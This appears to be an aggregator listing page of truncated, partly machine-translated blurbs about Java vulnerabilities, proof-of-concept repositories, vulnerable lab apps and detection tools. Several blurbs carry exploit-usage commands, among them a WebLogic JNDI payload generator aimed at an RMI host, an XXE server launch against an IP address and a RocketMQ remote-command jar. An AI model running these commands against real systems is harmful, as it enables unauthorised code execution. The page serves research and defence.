CVE-2026-90560

zstd-jni versions 1.2.0 through 1.5.7-13 contain an out-of-bounds read in the ZstdDictDecompress constructor. The root cause is that offset and length arguments are never validated against the dictionary array bounds, allowing an attacker to supply arbitrary values to read memory past the end of ...

CVE-2026-90559

snappy-java through 1.1.10.8 contains an out-of-bounds write vulnerability in the Snappy.uncompress(ByteBuffer, ByteBuffer) method. The root cause is that the destination buffer capacity is never validated against the decompressed size, allowing an attacker to supply valid compressed data that de...

EUVD-2026-76904

snappy-java through 1.1.10.8 contains an out-of-bounds write vulnerability in Snappy.uncompressByteBuffer, ByteBuffer because destination buffer capacity is never validated against decompressed size. Attackers can supply valid compressed data that decompresses larger than the destination buffer,...

CVE-2021-44228

CVE-2021-44228 취약점 재현 1. 먼저 RmiServer를 실행하여 RMI 레지스트리 서비스를 생성합니다. 2. Log4jTest를 실행합니다. Windows를 사용하는 경우 계산기가 나타납니다...

weblogic_cve-2019-2890

1）Запустить инструмент XXER python xxer.py -H 192.168.17.223 2）Поместить poc xxer в файл xx.xml, заменить сериализованные данные, внедрить poc xxer； java -jar weblogicxxe.jar xx.xml 3）Использовать weblogic.py из инструмента java-deserialization-exploit для отправки данных на сервер weblogic pytho...

wildfly__wildfly_CVE-2018-1047_11-0-0-Final

Сервер приложений WildFly http://wildfly.org Быстрый запуск Малый размер Модульная архитектура Единая конфигурация и управление И, конечно, Java EE7! Сборка Предварительные требования: JDK 8 или новее - проверьте java -version Maven 3.3.1 или новее - проверьте mvn -v В nix системах убедитесь, что...

square__retrofit_CVE-2018-1000850_2-4-0

Retrofit Android 및 Java용 Square, Inc.의 타입 안전 HTTP 클라이언트입니다. 자세한 내용은 웹사이트를 참조하세요. Download 최신 JAR를 다운로드하거나 Maven을 통해 받아보세요: root@kitploit: com.squareup.retrofit2 retrofit 2.4.0 또는 Gradle: root@kitploit: implementation 'com.squareup.retrofit2:retrofit:2.4.0' 개발 버전의 스냅샷은 Sonatype의 snapshots 저장소에서 확인...

apache__jspwiki_CVE-2019-10076_2-11-0-M3

Apache JSPWiki 2.11 - 문서 root@kitploit: Licensed to the Apache Software Foundation ASF under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to you under the Apache...

mimosa

Mimosa Description 시스템 재부팅, 데이터베이스 덤프, 예전에는 SecureCoding이라고 불렸으며, 이제 주니어에게 넘겨졌고, 마침내 완전히 다시 작성되었습니다. 이것은 오픈소스 코어이며, 관리 제어 기능은 포함하지 않습니다. Features 다양한 챌린지 현대 대중문화에 대한 참조 Getting Started 방법 1: Jar 버전 최신 Mimosa 릴리스를 여기에서 다운로드하세요. 터미널에서 다음 명령어를 실행하기 전에 원하는 디렉터리에 mimosa를 배치하세요. root@kitploit:...

CVE-2018-19859

CVE-2018-19859 - Доказательство концепции RCE Этот репозиторий содержит доказательство концепции для удаленного выполнения кода RCE против OpenRefine 3.1-beta. Используя уязвимость обхода каталогов внутри функциональности Create Project, CVE-2018-19859, злоумышленник может загрузить...

irule-cve-2022-22965

irule-cve-2022-22965 이것은 CVE-2022-22965일명 Spring4Shell에 대한 일부 완화를 제공하는 기본 iRule입니다. BIG-IP 15.x에서 테스트되었습니다. 개요 2022년 3월 30일, Java Spring Framework에서 CVE-2022-22965로 식별되는 원격 코드 실행RCE 취약점이 발견되었습니다. 이 CVE의 완화를 돕기 위해 예제 iRule을 공유합니다. 추가 사용자 지정이 필요할 수 있지만 좋은 시작점입니다 🙂 이 iRule은 F5에서 공식적으로 지원되지 않습니다...

CVE-2018-3191

CVE-2018-3191 페이로드 생성기 다운로드: https://github.com/voidfyoo/CVE-2018-3191/releases 사용법 root@kitploit: java -jar weblogic-spring-jndi.jar 예: root@kitploit: java -jar weblogic-spring-jndi.jar rmi://192.168.1.1:1099/Exp 참고사항 weblogic-spring-jndi-12.2.1.3.jar WebLogic 용: 12.2.1.3...

mariana-trench

Mariana Trench Mariana Trench is a security focused static analysis platform targeting Android. This guide will walk you through setting up Mariana Trench on your machine and get you to find your first remote code execution vulnerability in a small sample app. These instructions are also availabl...

CVE-2022-21306

CVE-2022-21306 POC, EXP, chatGPT для меня, могу дать только некоторые идеи, все неработоспособно. code root@kitploit: import json import requests targeturl = "http://127.0.0.1:7001" headers = 'User-Agent': 'Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko...

l4s-vulnapp

Уязвимое приложение Log4Shell l4s-vulnapp Это потенциально уязвимое Java-веб-приложение, содержащее Log4j2.14.1, подверженное уязвимости log4shellCVE-2021-44228. Проверенная среда и различные версии AdoptOpenJDK 17.0.10+7 Gradle 8.6 Gretty 4.1.2 Apache Tomcat 10.1.15 Apache Log4j Core 2.14.1...

detect-log4j-exploitable

CVE-2021-44228 메시지 조회 치환이 활성화된 경우 로그 메시지나 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다. 이 스크립트는 실행 중인 프로세스에서 log4j 취약점을 탐지하는 데 도움을 줍니다. 코드를 실제로 악용하지 않고도 시스템이 취약한지 여부를 확인하는 데 도움을 줍니다. Java를 사용하는 프로세스를 찾아 log4j-core 구성 요소를 확인합니다. 참고: 이 스크립트는 bash로 작성되었으며, 실행에 필요한 두 패키지zip, unzip를 사용합니...

CVE-2020-1938

CVE-2020-1938 CVE-2020-1938 취약점 재현 익스플로잇 스크립트: https://laolisafe.com/thread-612-1-1.html 환경: apache-tomcat-8.5.32 java powershell exp 환경-python Tomcat 시작 sh ./startup.sh 익스플로잇 이 도구는 보안 연구 및 내부 자체 점검에만 사용되며, 도구를 사용한 불법 공격을 금지합니다. 발생하는 결과는 사용자가 책임집니다...

CVE-2017-12149

CVE-2017-12149 Удаленное выполнение кода через десериализацию Java в Jboss CVE-2017-12149 Скрипт на python использует ysoserial для динамической генерации полезной нагрузки. Следовательно, также требуется java...

r2frida

r2frida Radare2 and Frida better together Description Self-contained plugin for radare2 that ships frida and allows to instrument local or remote processes using r2 commands instead but not limited to Frida scripts. The radare project provides a complete toolchain for reverse engineering, it's...

CVE-2023-33246

CVE-2023-33246 Apache RocketMQ 원격 코드 실행 취약점CVE-2023-33246 Exploit 사용 방법: java -jar CVE-2023-33246.jar -ip "127.0.0.1" -cmd "open -a calculator" 면책 조항: 이 탐지 도구는 각 보안 회사의 보안 테스터가 보안 테스트 목적으로만 사용하도록 제공됩니다. 허가 없이 외부 컴퓨터 시스템에 침입 공격을 수행하지 마십시오. 무단 보안 테스트에 사용할 수 없습니다. 기술 교류만을 위해 제공되며, 도구로 인해 발생하는 이론적 또는...